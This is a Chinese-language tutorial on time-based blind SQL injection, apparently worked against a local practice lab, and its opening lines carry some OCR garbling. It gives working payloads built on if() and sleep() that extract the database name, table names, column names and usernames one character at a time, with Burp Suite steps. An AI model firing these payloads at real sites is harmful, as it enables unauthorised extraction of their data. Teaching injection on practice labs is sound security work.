利用前提 ,
页面上没有显示位 , 也没有输出 $ QL 语句执行错误信息 。
正确的 SQL 语句和错误的 SQL 语句返回页面都 0 样 , . 但是加入 s 丨 p ( 5 ) 条件之
后 , 页面的返回速度明显慢了 5 秒 。
优点 .
不需要显示位 , 不需要出错信息 。
速度慢 , . 耗费大量时间 。
payload: and if(length(database())=8,sleep(10),1) --+
判断当前数据库库名的长度
如果数据库库名长度大于等于8,则mysql查询休眠10秒,否则查询 时间 1
使用Burp的Repeater模块如下所示:
1到7的时候没有卡顿 这说明页面没有执行sleep(10),而是执行了sleep (1)
当前数据库库名的长度是8。可以可以感受到明显 暂停 说明执行sleep(10)
使用Burp的Repeater模块如下所示:
获取当前数据库库名
由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。和boolean注入类似,使用substr函数来截取database()的值,一次截取一个,注意和limit的从0开始不同,它是从1开始。
payload :and if(substr(database(),1,1)='a',sleep(5),1)
http://www.localhost.com/exam/sql/exam0.php?id=1%27) and if(substr(database(),1,1)='a',sleep(5),1) -- +
这里同样使用Burp爆破:
抓包
获取表名
and if(substring((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r',sleep(10),1)
步骤和上述一样使用burpsuite,我这里直接给出结果
emais 表就出来了第二张表
referers第二张表名
获取字段名
and if(substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i',sleep(10),1)
一如既往字段名还是id 应该有多个字段名
第二个字段username
获取unsername
and if(substring((select username from security.users limit 0,1),1,1)='D',sleep(10),1) -- 1
步骤还是一样,但是注意爆破中payload1的长度要大至少40,,payload2的字典不仅有26个字母还有10个数字加上’{’’}'这两个字符。 大小
第一个用户名
Dumb